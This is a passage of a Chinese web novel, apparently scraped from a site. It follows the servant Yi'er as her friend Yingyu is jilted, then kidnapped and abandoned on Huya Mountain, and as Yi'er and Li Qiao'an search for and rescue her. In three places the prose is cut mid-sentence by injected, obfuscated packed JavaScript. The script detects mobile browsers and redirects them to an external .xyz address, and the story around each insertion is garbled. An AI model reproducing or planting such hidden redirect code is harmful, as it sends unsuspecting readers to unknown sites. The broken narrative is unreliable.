宜尔已经开始有不妙预感,“你说。” “为春他有未婚妻。” 宜尔已经开始生气了,生叶为春的气,但她忍着,等莺语继续。 “是那种指腹为婚,他也没见过对方,谈不上什么情意。可……前段日子他家里寄信来说,那姑娘家逢大难,被仇敌灭了门,举目无亲,如今寄住金湖山庄,等他一回去便允诺完婚,给姑娘个安身之处。好好好,我知道你一定想说我傻,可是……算了,你骂我吧。”莺语编不出什么可是。 这谁瞧了都该跑路的情形她不跑,她不是傻是什么? 宜尔没骂她,宜尔只叹了口气,“那你现在想如何?还想同他成婚吗?” 宜尔的话让莺语酸红了眼,她吸吸鼻子,没忍住,哭了起来。 其实莺语也委屈,可是她知道委屈无用,路是她自己选的。 莺语在宜尔抬手前自己擦干了眼泪,嘴唇颤抖,“他说会的,但不能马上去,得等家里人冷静一段时间。” 这和上次说的大不一样,宜尔心中对叶为春的评价骤降,“要冷静多久?” “不知道。” “他确定父母会应允?” “不知道。” 两番问答下,莺语掩面痛哭起来。 看她如此,宜尔觉得自己仿佛是个棒打鸳鸯的老岳母。 虽说是由着莺语出去淋雨吹风,她等她回来,可若伤得重了她又心疼,忍不住要多说几句。 宜尔将莺语揽入怀中,轻轻抚拍她的后背,“莺语,我问你,你真心实意地回答我,你究竟是真的爱叶为春,还是爱他的身份地位?” “爱他。”莺语回答得很坚决,“我头一回碰到待我如此好的男人,就算他是个乞儿我也愿意嫁。” “怎么搞得这样苦情。”宜尔不能理解短短数月便如此深爱的心情。 莺语破涕为笑,蹭蹭她肩膀,“我也是过上话本中的日子了。好了,别太为我操心,我的事再复杂,总会解决的。宜尔该多为自己忙碌些。” 爱得猛烈,爱得凶猛,这是像被烈火灼烧一般,极速攀升、浑身炽热的感情。痛苦,但更快乐,快乐得令人着迷。 而这样的感情于宜尔来说太烫了,无法捧在手心仔细观察的东西她难以领会,不知该如何是好,于是她去问李荞安。 “你怎么会觉得我懂?”李荞安剥着橘子皮。 “荞安你年纪比我大,见识比我多。” 李荞安垮了脸,“也没比你大多少吧?不过男女之事是比你见得多。我以为,插手旁人的情情爱爱最是麻烦。突然说爱,突然又不爱了的人比比皆是。情火烧得快,熄得也快,顺其自然最好,省得讨一顿嫌。” “可莺语不是旁人。我可以接受她失恋后痛哭流涕,但不想缺席她中途的悲欢喜乐。”宜尔叹息,开始反思自己,莺语也没让她帮忙,她似乎是有些多管闲事了。 “要我冷眼旁观,实在很难,可若是这样更好,我会试着努力一下。”宜尔轻声说到。 李荞安将橘肉丢进嘴中,很酸。 宜尔同莺语当真是情深义厚。 “哪样更好倒是未必。既然如此纠结,把一切交给命运如何?”李荞安拿出一枚铜钱,“字面就管,枫叶面就不管。” 虽然儿戏,但确实是个解决烦恼的好法子。 宜尔郑重地点点头。 李荞安将铜钱向上一抛,拍在掌间,宜尔屏息凝神。 遮在上方的手挪开,露出字样。 明明是更麻烦的路,宜尔却舒了口气。 李荞安将铜钱收回掌中,手指摩挲着两面的字纹,笑而不语。 宜尔决心要管,就连夜想对策。思来想去,她最后花钱请人去金湖山庄一探,得知新消息后又蹲到夜半时分等莺语。 莺语结束晚间的活计,累得憔悴不已,看到蹲在门外的她时吓了一跳,“宜尔?你怎的在这儿等我?” 宜尔许久未晚睡了,困得眼睛发肿,但她还是打起精神,“莺语,我打听到金湖山庄已将叶公子的婚期定在下月十五。” “什么?!”莺语几乎要跳起来,困意全无,“听、听错了吧?” “没错。”莺语身后走出叶为春。 他这段时日又变得沧桑了,“宜尔姑娘说的不错。” 莺语一时无言,只是看着他的眼里渐渐冒出泪花。 叶为春愧疚得皱起眉头,“怪我心怀侥幸,如此拖沓……我明早便启程返家,禀明爹娘。” “当真?”莺语抹掉泪,又扬起笑。 “嗯。”叶为春宽慰地笑笑。 两人目光深情,旁若无人。宜尔立在另一侧,忽感秋风萧瑟。 叶为春送莺语回房,宜尔则独自回去。 她走在熟悉的小径上,却突然觉得一切很陌生,喉头说不出得发苦。 宜尔低头看脚下,原来这条路这样宽……以前和莺语肩并肩走,两人的脚刚好覆盖路面,莺语有时还会故意将她挤到草地上,然后笑着说“你掉进河里啦”。 宜尔走着走着,又走到了那棵合欢树下。 一片粉绿下,有一抹红。他倚坐在石块上,月光将他浓艳的眉目映得朦胧。听到声音他偏头看来,莞尔一笑,“饿不饿?” 他一直在这里等她。 宜尔也笑,“嗯。” 她走上前,看着李荞安站起身,立在她肩侧。 “荞安,原来我也很怕孤单。” 不孤单的日子久了,她都忘了是这样的滋味。 李荞安两手抱臂,“不是还有我陪着你吗?” 可是将来未必。 宜尔这样想,但没说出口,她只是点点头,决定只在乎当下的欣慰。 翌日一早,宜尔在后巷目送叶为春驾马出行,心中有他兑现诺言的安心,更多的是对将来的忐忑怀疑。 她看向一旁的莺语,“叶公子同你说初几回来?” 莺语抹掉眼泪,“初六。” “那也不远了。” 月末,王馆主生辰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594544|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好友相来聚,赠礼无数,宴会开了又开,冠玉馆上下忙碌。 初一,术璞从楼上跌摔,扭伤了脚。 初二,有女客醉酒撒欢,撞倒了几盏灯,烧坏了万苔痕的琴。 初三,有另一名女客醉酒,乱扑乱咬,又弄坏了万苔痕的新琴。 初四,雀琳与符环为抢同一名客人红了脸。 初五……初五,金湖山庄的人来到冠玉馆。 那是一个气势汹汹的年轻男人,衣着鲜亮华贵,让王馆主叫莺语出去相谈。 宜尔被莺语一起拉了出去。 男人长脸长鼻,哼了一声,但还是鞠身作礼,“立峰见过吴莺语姑娘。” 莺语手上还捏着打湿的帕巾,又紧张又期待,“立峰小哥,如何?为春可是有什么消息传来?” “我家公子托我转达姑娘,先前只是一时冲动,不作数。父母之命不可违,你不必等他了。” “怎么可能?他说是要去同爹娘说情啊!” 立峰见她不放弃,有些烦躁,但说话还算客气:“请吴姑娘多想想自己与金湖山庄的分别,区区情谊如何跨越鸿沟?梦就是梦,执着不放也没用,总要碎的。话尽于此,立峰告辞。”说罢他转身而去。 莺语呼吸不畅,有些站不稳了。 宜尔揽住她的肩,稳住她身形,“莺语,还没初六呢。你该相信叶公子说的。” “宜尔……”莺语忍住眼泪,点点头。 初六,叶为春仍然没来。 宜尔看着莺语那副翘首企盼的模样,仿佛看到了曾经的李荞安。 莺语一直等到子时。 陪在一旁的宜尔担忧地看着她,“莺语……” 莺语没有哭,她看向宜尔,苦涩地笑了一下,“果然如此,我早猜到了。唉,男人都不可靠,还是跟宜尔老老实实过日子的好。” 莺语知道宜尔不擅长安慰受情伤的人,所以每次分手都不会在她面前哭,她一般都忍到回房间时再自己痛哭。 宜尔明白,所以宜尔什么都没说,也由着她自己回房。 第二日,莺语不见了。 这是头一回,宜尔四处寻找,问遍了整个冠玉馆的人,可怎么也找不着。 宜尔在慌张中试图冷静下来,她猜测莺语是出城去金湖山庄寻人,宜尔也赶紧去向王乌告假,急匆匆要出门去追。 然而门一推开便见到张意外的脸。 “叶公子?” 叶为春神色慌张,“莺语人在何处?” “她不见了,我还以为是去找你讨说法了。你初六为何没回来?你可知莺语为了等你,连着几夜不曾安眠?” 他眼中闪过伤痛,“我让立峰来传过话了。” 宜尔心胸涌起愤懑,“你当真要负她?” 叶为春低下脸,“我对她确实有情,只是……那些以后再说,宜尔姑娘你看这个。” 他拿出一张纸条,只见上面写着:汝之情人已被我囚于虎牙山。 啪地一声,叶为春脸上多了个红掌印。 宜尔气得浑身发抖,面目发红。 是她错了,有些外面的风雨太大了,她应该拦住她的,就不该招惹这些江湖人士。 19.第 19 章 嗒—— 有水滴落在石上。 风从前面和两边吹来,吹在裸露的肌肤上,凉得发疼。 苔藓和湿泥巴的气息很浓郁,鸟叫也很清晰……这似乎是个半露的山洞。 眼上的布有一股发酸的臭味,引得人直犯恶心,又呕不出来。 莺语手脚被缚,蜷在地上,脸贴着冰凉的石面。药劲还未褪去,她浑身酸软,提不起力。 有脚步声靠近。 莺语沙哑着嗓问:“谁?” 长剑划过地面,发出刺耳的声音。 莺语心跳加快,“为春?你来救我了?” “哈。”一声男人的冷笑浇熄了莺语期盼的心。 他的声音很疲惫,但仍然充满讥讽:“剿匪英雄也贪恋温柔乡啊?不过这温柔乡也太简陋了,连我都瞧不上。” “谁要你瞧得上?” 即使身子再累再疼,她还是不肯在嘴上落下风,平白受人侮辱。 莺语的头被使力按住,抵在石上转动,脸颊顿时就被擦破,渗出血来。 丝丝缕缕的疼在脸上蔓延开,莺语痛得五官皱起来。 “放开!” 迟来的恐慌随着疼痛一起漫卷袭来,莺语眼睛发热,鼻头发酸。 她究竟是为了什么在遭这种罪? “叶为春早就将我弃了,要同未婚妻成亲,”泪水淌下来,她声音颤抖,“你抓人前能不能先查清楚?” “你以为我傻吗?面都没见过的未婚妻和如胶似漆几个月的情人谁死了他更伤心?” 莺语呜咽,“那你想如何?用我威胁他吗?” 头上的大手松开了,“威胁?多危险啊。”他的声音变远了一些。 莺语感受到脚被他抓住。 “你作甚!”她空有一张嘴,身上使不出一点力气。 男人拖着她往山洞里走,一直到靠着石壁的地方。 一阵窸窸窣窣后,石锤落在铁钉上,当当作响,震得耳朵发麻。 他用绳子缠住莺语身躯,将绳尾绑在铁钉上。 “我只是要他长个记性,混江湖的别以为剑快就行。小丫头,别太伤心,没多久就解脱了。”男人说罢,走远了,再也没回来。 泪水在脸上干涸,莺语的心还未干涸。 宜尔一定会想办法来救她吧?宜尔一定会的。 莺语别无他法,只能在心中默默祈祷:宜尔,你快来……宜尔…… * 虎牙山是一座荒山。 乔木参天、灌木丛生,野草野花肆意乱长。秋风掠过时,各色落叶纷飞,落进杂乱的地方,叠融为一体。 鸟啼与虫鸣比起春夏少了许多,萧索气息弥漫山际。 宜尔持着镰刀,砍断半人高的杂草枯藤。 “莺语!”她用干涩的嗓音喊着。 叶为春同宜尔确认莺语失踪后就急匆匆去找究竟是哪个仇敌将人绑走,又将莺语丢在了何处。 然而,要到何时才能找到仇敌?又要到何时才能知晓确切所在?而莺语独身在茫茫大山中,或许会遇见豺狼,又或许会遇见毒虫蛇蚁…… 莺语一刻不归,宜尔一刻难以静心,她无法坐着空等,所以她决定自己来虎牙山找。 “宜尔。”一旁的李荞安停住动作,走上来握住她的手腕翻过去,“你要用血逼它们让路么?” 宜尔低头一看,带刺的草藤在她手背划了一道道长痕,血珠渍冒。 “割到手了也不知道,唉。” 已经找了两个时辰的宜尔有些呆滞地看着被李荞安用帕子缠起来的手。 “多谢……”她动动指头。 这里有刺的树藤很多,对方一定不会怜香惜玉,莺语怕是也被割伤了……如何是好…… “我忘带金疮药了。”宜尔喃喃道。 李荞安奇怪地看着她,“你小心些不就好了?真要划个大口子吓我是不是?” 宜尔将瑟凉的空气长长地吸了一口进腹中,头脑清晰许多。她挺直脊背,睁大眼睛,摇摇头。 李荞安理解她的恍惚,也忧心她的恍惚。他按着她的肩膀晃,“真醒了?” 宜尔笑了笑,“真醒了。” 李荞安将信将疑地点首,回到最前头,用棍子将挡路的杂草往两边打,继续前行。 除了李荞安,宜尔还花了一大笔钱请人入山来寻,不过那些人只能帮忙找到天黑前。 又是一个时辰过去。 宜尔坐在石块上,一手拿着饼咬,另一只胳膊一下下扭转,试图缓解逐渐加重的酸胀感。 饼很干,入了干涩的嗓子引起一阵痒,她掩唇轻轻咳了几声,饮水止住。 宜尔没有胃口,又吃了两口便站起来继续找。 坐在后头的李荞安静静地望着她,也跟着站了起来。 “莺语!”宜尔继续边走边喊,一声之后又咳了起来。 她平日说话不多,用嗓很少,几个时辰下来已不堪重负,呼吸与呼吸的间隔也不断变短。 宜尔打开水壶,然而里头的水已经没了。 李荞安递过自己的水壶,环望四周,接替下去:“莺语!莺语!” 宜尔抬头看他,一路下来,李荞安其实也已累极,声音比最初沙哑许多。 秋日凉爽,两人却累得一身是汗,衣裳紧贴在身上,变得粘糊。 一刀接着一刀,宜尔的胳膊酸胀不已,每次抬起来都要比以往费更多力气。 虎牙山实在是太大了。只能循着人迹找,可那些人迹又总是半途消失,让他们成了无头苍蝇。 最可怖的是,时间不等人。 悬于山头的日轮逐渐向下滑落,天近黄昏,在别处搜找的人开始一个个来向宜尔辞别。 有好心人劝宜尔:“这虎牙山树木遮天,夜里黑了伸手不见五指的,你俩也赶紧趁着天还亮下山吧。明日再找。” “多谢。”宜尔回得乏力。 等其他人都走完了,天暗淡得只能看清几步内的东西,四野灰雾蒙蒙。 李荞安看向宜尔,“你怕是不想下山吧?” “多耽误一刻,莺语就多危险一刻。荞安,你先下山吧。” 李荞安有些无奈,“哪有丢你俩在山里的道理?”他环顾四周,“我们找个地方睡一夜如何?天一亮再起来找。” 宜尔眉头拧在一起,“万一正好就是我睡着的时候她出了事怎么办?荞安,我不困,你——” 李荞安戳戳她的眉头,笑容轻淡,“宜尔啊宜尔,山里这般黑,你若等下失足跌落什么地方,谁去救莺语?磨刀不误砍柴工。” 宜尔松开眉头,“……好。” 天半黑时,两人幸运地找到了一处山洞。 李荞安在山洞口支了堆火,又找了些草和树叶铺成简陋的床,靠洞口放一个,靠里放一个。 宜尔呼吸不顺,她便睡在靠外头。 两人累得话也没多说两句,吃过东西后直接睡下。 夜长长…… 月光从洞口照进来,将宜尔侧躺的肩膀染得雪白。 李荞安在阴暗中盯着她的后背,突然开口道:“宜尔,你在做什么?” 宜尔动了一下,仍然背对他,“在睡觉。” 李荞安起身,走上前单膝跪在她身后,手搭在她肩上,将宜尔掰过来。 明朗的月色下,宜尔匆匆用手抹去脸上温热的液体,她坐起来,一副无事发生的语气:“怎么了?” 李荞安轻叹一声,用手抹掉她脸上残余的泪珠。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604856|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 眼泪不受控制,一颗一颗地坠落,“荞安,若莺语出事了……” 她不愿想,可总忍不住去想象。 “没事的,莺语福大命大,我们会找到她的。” 李荞安捧正她的脸,仔细地为她拭去眼泪,手指抚过脸颊。 泪珠滑到唇边,他的拇指追随着落到唇边,拭去泪水时,也触到她温软的唇。 李荞安的手一滞,宜尔也为这意外一愣。 他两手迅速松开,宜尔低下头,用衣袖将眼泪擦去,“不能再哭了,我还要留着力气继续找莺语。谢谢你荞安,陪我来虎牙山。” 李荞安别开眼,“谁让我是个讲诚信的。” 「遇事相商,互帮互助。」 宜尔笑笑,“是啊,多亏了你讲诚信。” “好了,乖乖睡吧。”李荞安走回去。 宜尔躺回去,不多久便睡熟了。 李荞安躺着,眼睛看着她的后背,却睡不着。 李荞安伸出手,他看着右手的拇指,月光拉长后映在上面。有一种莫名的诱惑,吸引着李荞安将指尖轻轻覆在自己的唇上。 是不一样的热。 李荞安回过神,意识到自己做了什么,他猛地翻过身去,蜷成一团,露出来的耳朵、面庞红如朝霞。 * 天际刚白,宜尔就坐了起来,李荞安随着她的动静起来。 两人又回到山野中寻觅。 宜尔接连不断用了数个时辰呼喊莺语的名字。黑色的鸟被她惊飞,扑棱着翅膀。 脚底下,溪水哗啦啦地流淌。 “宜尔。” 宜尔停住脚,她似乎听到了微弱的声音。 “莺语?!”她兴奋地朝着下头喊,隐约中似乎听到了回应。 皇天当真不负有心人。 “莺语就在下面!”宜尔兴奋地看向李荞安,她二话不说便准备从一旁的斜坡上下去。 “宜尔!”李荞安来不及拉她,只能看着宜尔拽着石壁上长出的树根滑了下去。 快落地时还差一截,宜尔脚悬空,她直接松开手,砰地一声摔倒在地,溅了一身泥土。 “是宜尔吗?”干哑的声音颤抖着问到。 宜尔爬起身,看到被束缚在铁钉旁的莺语,她疾奔过去,紧紧将人抱住,眼泪瞬时淌落下来,宜尔埋首在她肩颈,“莺语……” 想到她还被蒙着眼,她松开莺语,解开她眼前的布条。 日光入目,莺语眯着眼,光芒中,那张平实的脸上有团脏泥,还有很多红色的蚊子包,深深浅浅的眉头边上冒了颗痘痘。 她的宜尔好狼狈,又好耀眼。 莺语扑进宜尔怀中,呜呜地哭了起来,“宜尔……宜尔……” “没事了,没事了。”她温柔地拍着莺语的背。 莺语哽咽:“轰轰烈烈的恋情……根本就不快乐。” 宜尔鼻头一酸,可最终笑了笑,“都过去了。” 恨会过去,爱也会过去。 人的爱恨有时很浓重,有时也很轻淡。就像天上的云彩,可以凝成乌云坠雨,也可以被风轻轻吹散。 莺语的爱被吹散了。 宜尔的早晨提前了。 她昨日告假寻莺语,虽然王馆主也很关心莺语,但欠下的活就是欠下的,她今日得赶紧补上。 鸡还未叫,宜尔就起了床。屋外冷得她出门时打了个抖。 宜尔的嗓子还是不大舒服,她一边抱着罐子往后巷走,一边不停清嗓子。 刚跨出后门,宜尔就见一个满身是血的男人倒在门旁。 宜尔一骇,走上前去,“公子你怎么了?” 对方翻过身来,露出精致的面容,鲜血从那双瑞凤眼旁淌下,正是逐璧。 20.第 20 章 “逐璧?是说我么?”坐在床榻、头被白布缠裹起来的俊美男子看着四周的人问到。 王乌抓住正在收拾东西的韩有杏,脸色青白,“大夫,这究竟怎么了?被人打傻了不成?” 韩有杏拨开他的手,平淡答道:“撞着头,失忆了,过段日子或许会好,也或许永远不会好。” 王乌语塞,片刻后又问道:“那腿呢?还能走不?” “我只是寻常大夫,看不出他中了什么武林怪招,反正经络不通,腿无力。好好养着,或许两三个月能恢复。” 王乌看着逐璧一脸迷蒙的模样,摇头再摇头,叹气再叹气。 果然当时就该拦着他踏入江湖,功夫再高也还有功夫更高的,如今搞成这副样子,他死后要如何向兄长交代? 王乌身后的莺语打量着逐璧。 馆主今日本来给她放假休息,但她睡不着,一听说逐璧被人打残了便忍不住跑来凑热闹。 想到他之前害宜尔白挨板子,莺语心生捉弄之意。 “逐璧公子啊,”莺语上前,“其实你忘了我们无所谓,可你好好看看宜尔,”她指向默默候在角落的宜尔,“这不能忘啊!” 宜尔有不妙预感,走过来要拦她,但步子没她嘴快:“这是你钟情多年之人!只可惜宜尔对你无意,你爱而不得,日思夜想,为她几番落泪,更是曾在大雨天跪在她门前求爱。” 宜尔无奈,“莺语——” 韩有杏看热闹不嫌事大,面无表情地点头,抢过宜尔的话:“确实如此。为追宜尔姑娘,你求着我替你美容养肌多年,欠了我三百两,日后记得还我。” 王乌也接过去:“是啊,为了宜尔,其实你原本已决定从此洗心革面,再不踏入江湖,学宜尔老实过日子的。” 他们编得实在太离谱,宜尔笑出了声,“这种时候你们还这么有心情逗乐。” 逐璧听完众人讲话,目光直直望向宜尔,顿时让宜尔紧张起来,她解释道:“大家说笑的,我只是洗院的丫鬟,今日碰巧捡到公子,同公子并不熟悉。” 逐璧偏过头,“可是,我似乎确实对姑娘有些印象。” 宜尔一怔,莫不是因为玉的事? 王乌一拍掌,“你对宜尔有印象?那宜尔,逐璧这段时日就交给你照顾如何?你的活我找个短工干。” 宜尔不是个记仇的人,说好两清就两清,何况逐璧上回曾来信提醒她。馆主如此安排,她也就接应下,“我会照顾好公子。但今日的活还得干,昨天就攒了不少了。” 如此混乱的情形若转给其他人,只会让人焦头烂额。 王乌点首,看向韩有杏,“那今日……” 韩有杏眼睛移开,背着药箱就走了出去。 王乌叹了一声,“我自己照顾逐璧吧。行了,你们忙去吧。臭丫头还不赶紧回去休息,难得我这般大方。”他大力拍了下莺语的背。 “哎哟!”莺语揉了揉后背,“知道啦。”她拉着宜尔出去。 宜尔看着眼中满是红血丝的莺语,几度想张口又闭上,不知该如何安慰。 莺语看出她的犹豫与担忧,拍拍她的肩,“别太担心,我眼下虽然伤心,可日子久了就不再伤心了。” 昨日他们写信到金湖山庄报平安后,叶为春只回了封写着“知晓了”的信,人并未回来。金湖山庄小公子的婚期也未变,仍在十五。 也许叶为春有很多苦衷,也许他有很多不得已……但莺语怕了。 她没自己想象中勇敢。 一个人待在山中,蚂蚁从脚上爬过都能吓得她眼泪直流。听到狼嚎时,她几乎想把自己缩进山壁中,求遍了她知道的神仙保佑自己千万别被发现。 莺语太害怕江湖的腥风血雨,所以她放弃了,正如叶为春一定也是因为害怕什么放弃了她一样。 莺语有痛苦,却也有轻松。深陷恋情那段时日很甜蜜,可也有数不尽的忧愁、惶恐,她变得很自卑,很脆弱,听不得坚硬的话,爱胡思乱想,多愁善感……心里总是郁闷。 她向上大展双臂,舒展了下身子,“没了叶为春,莺语还是要继续好好过日子呀!” 宜尔稍微放心地笑了笑。 “倒是宜尔你啊,”莺语揽住她胳臂,“我都送走教书先生和叶为春两个人了,你还不声不响的。” 宜尔想了想,自己确实许久没在情缘上花心思了。 “你说的是。”她本就打算一边陪着柴爷,一边同将来的夫婿培养感情,但最近事多忙碌,就搁置了。 莺语眉目忽染哀愁,“反正我如今是明白了,平平淡淡、安安稳稳的也很好,太艰难的感情叫人不知老了多少岁。” “莺语是过来人了。” 伤感被她这句话吹走,莺语笑笑,“是啊,你得多听听我这个过来人的建议~好了,我回去睡觉了,好困。” “嗯。”宜尔看着莺语走远。 从早到晚,宜尔忙碌了许久,再加上前两日的劳累,同秦姐姐交班时整个人疲软不堪。 秦姐姐正在井边打水,拎着桶走来时见她这副样子颇为心疼,“你再熬熬,马上便到休歇的日子了,届时好好睡个大觉休息回来。” 宜尔走上前接过水桶往盆里倒,“是啊。对了秦姐姐,我记得你是年纪轻轻就嫁了人对不对?” 秦姐姐解下围兜擦手,“是啊。十六便嫁给我夫君,如今二十个年头恍然便过。”她笑笑。 “秦姐姐同丈夫可是以情定终身?” 秦姐姐笑着摇头,“是我娘去邻镇玩时觉得他人不错,自己定下的。成亲时我才瞧见他呢。怎么了宜尔?” “我以前觉得两情相悦婚姻才能走得长久,可最近发觉原来即使两个人情意相通,也未必能有好结果,所以有些困惑。” 秦姐姐思索了一番,“若夫妻两人情投意合自然是很好,但是吧,有太多人爱着爱着就不爱了。光凭爱就想走过柴米油盐数十年并不容易。” 宜尔若有所悟地点点头。 “若是宜尔要挑夫婿呢,姐姐建议,挑个人好的最重要。哪怕最后不爱你了,也仍然会好好待你,好好待你们的小家。怎么,宜尔终于想嫁人了?” “总觉得该着手了。”她最近心胸总是感到不安。 “也是,早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611454|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些认识,多点时间了解更好。嗯……既然如此,我替宜尔留意留意?毕竟那些媒婆收了钱,看你这身份,只知道介绍些歪瓜裂枣诓你。” 宜尔弯过唇角,“多谢姐姐。” 她坐在水盆前,两指捏着衣角一抖,白天被抖成了黑夜。 贵仙紧紧跟着宜尔,神情严肃。 “贵仙你怎么了?”宜尔问她。 贵仙斟酌着用词,一副泄气的模样,“宜尔姐你不在的时候,我总惹刀鱼哥生气。” 她手脚慢,常被骂,一被骂就紧张,一紧张犯错更多,挨更多骂。 “你不熟悉,做错事很正常。其实刀鱼刚来时同你差不多,给客人上菜时手都抖,有一回直接把菜抖倒了。” 贵仙眉头舒展开些,“真的么?” “真的。我知道你做事很用心,不过是时间问题,不必着急。” 贵仙笑了笑。有人举手要点菜,她主动迎上前,宜尔就在后头看着她奔忙。 她环望前堂一周,在角落里瞧见了李荞安。 他还是顶着红红蓝蓝组拼的妆——李荞安休息的日子已不再化如此浓的妆,可平日夜里还是坚持涂得浓厚。 或许他还记得宜尔说的,想等一个不介意的人吧? 李荞安今夜很忙。虽说夸张的外貌使得叫他落座的女客不多,可他为了早日攒到足够的钱,同时担了好几桌的次陪。 宜尔看着他在几张桌子间来回,说说笑笑,任醉酒的客人亲抱,有时衣衫被扯开,露出大片肌肤,又被抓出红痕,他笑着一手将人扶起,一手将衣衫拢回去。 无论遇到怎样的情形,李荞安总是笑意盈盈。 盯得久了,李荞安抬首间正好与她的目光对上。 他似乎愣住了一瞬,又很快给以一个浅淡的笑。李荞安垂眼饮下一杯酒,不再看她。 宜尔看着他,心中有一种难以言喻的思绪。 长夜漫漫终到头,白昼来临。 宜尔提前用过早点便赶往逐璧的院子——逐璧作为头牌,单独在厢房后头有一间小院子。 宜尔得到应声后推开门,却见逐璧坐在轮椅上,已自己梳洗完毕。 墨发松松梳起,用白玉簪别着。他脊背倚着轮椅,毫无狼狈之感,反而一派自在清逸。 宜尔一边在心中暗想下次得早些出门,一边问道:“我推公子去用早点?” “用过了。” 看来还得更早。 逐璧将手中一册书籍递给她,“我眼睛难以久视,劳烦宜尔替我念念。” 宜尔接过书,坐在他对面,一张口念得干巴巴的。 她也想学李荞安那样绘声绘色,在脑海中演练着语气,可真到了张嘴的时候又发不出想象的声音。 她实在是不好意思。 宜尔念得干巴,逐璧却仍然含笑望她,没提出半点意见。于是宜尔就这样将原本精彩纷呈、刺激的游侠故事念得平淡。 咚咚咚。有人敲门。 宜尔舒了口气,“我去应门。”她站起身。 逐璧看着宜尔走远的背影,嘴角仍然挂着浅淡的笑容。 21.第 21 章 圆滚滚的男人从宜尔打开的半扇门中挤过来。 王乌拍拍宜尔,“你歇一歇,我要找逐璧聊上许久。” “是。”宜尔颔首,她走到角落,拿起扫帚准备去门外打扫。 虽然王馆主说可以歇,但宜尔分揽了这个院子的清扫活计,趁着有空早些干完比较好。 王乌听到扫帚拖地的声音,扭头看到她出去,还顺手带上门,不禁感慨道:“这孩子真是打小就勤快,让歇着还要干活。” 逐璧仰首看他走近,“馆主有何贵干?” “唉,不是说了其实我是你叔父么?私下还叫得这么生分。” 逐璧手端过桌上茶盏,“可我确无印象,实在难以叫得如此亲近,请馆主见谅。” “臭小子,养大了就知道叫人伤心,算了。来,”王乌从怀里摸出一个小方盒,“这是我特意买的神药,你兑水喝了啊。” 逐璧将盒子打开,只见里面放着一颗黑药丸,他凑近一闻,笑了,“不过是普通的何首乌罢了。” 王乌把盒子夺回去,摁在桌上,“乱说话!叔父都多少岁了,能被骗?你以为我的饭都是白吃的?哎哟少年人总是不听劝。你看,就像我叫你别去闯荡江湖你偏去……”王乌忍不住絮絮叨叨起来。 逐璧眼睛看着远处的门,左耳进右耳出,安安静静听他说完后看回来道:“知道了。 ” 王乌语塞,大叹一声,“算了算了,你记得吃就行。我昨日同你说到哪了来着?” 逐璧敛下眼,“说到我刚上学堂时。” “哦对了,你当时太年幼,每回都要在课上睡着。嫂嫂被先生叫去,让你岁数大些再来,明明是好事,你却坚决不肯,宁愿每天扎醒自己,不甘后人……” 王乌讲了许久,讲得唇干舌燥却没口水喝。他白了这个“贤侄”一眼,自己给自己倒茶,一饮而尽。 日轮逐渐高了,王乌抻抻身子,“璧啊,我跟人约了喝茶,得走了。” 正在此时,宜尔也拿着扫帚推门而入,转身开始清扫门口。 她微弯着身子,将门缝下的灰土和落叶扫出来。 “馆主,”逐璧看着远处的宜尔,突然开口问道:“宜尔姑娘,同我可是真有什么关系?” “这……你是想起什么了?” “并无,只是总不自觉盯着她看。” 王乌叹了一声,“看来你小子还有点良心,失忆了还记得对不住人家。”他将偷玉之事细细叙到,包括后来宜尔将玉偷走丢进粪车作为报复一事。 王乌记得当时听逐璧讲他还不大相信,毕竟宜尔一向老实本分、默默无声。不过这点小捉弄跟挨板子还是没法比。 “你害宜尔白挨一顿打,她没恨你已是奇事,还愿意照料你。唉,她一向宽容大方……” 逐璧将杯中茶水续上,“人是馆主打的,与我何干?” “你——混小子,我为帮你才做恶人,你倒好,失个忆就想让我独揽恶名!”王乌看着他缠紧的头,心又软下来,“罢了,谁让我是个好叔父。宜尔也是个心善的,不会找你寻仇,这段时日你待她好点,带着我的份补偿一点懂吧?” 逐璧:“不是很懂。” 王乌当真是无话可说,失忆后逐璧连以前那种尊敬的虚相都没了,“你们这些年轻人最近真是不让人省心,管不动了,走了走了。” 王乌误了时辰,急匆匆地奔走。宜尔见他离去,又回到逐璧身边,继续给他念书,直至午时。 她去柴爷那儿取了午饭,在桌上摆放整齐后便立在一侧候着。 逐璧只吃了两口便停下筷子。 莺语吃完了一整盘还觉得饿,她看向坐在对面的李荞安。 宜尔因为要照顾逐璧,时间跟他们岔开了,不能再一道用餐,所以此地只剩他二人。 莺语看了眼他几乎没动的饭碗,“红璎,你吃这么少,节食减肥不成?” 李荞安夹了筷子米饭进嘴里干嚼,若有所思,“少了人,总觉得有些不是滋味。” 提起这种伤心事莺语也不禁落寞,但她还是打起精神,“也不会很久,最多两三个月宜尔就能回来陪我们吃饭了。红璎你是大孩子了,要学会等待。” 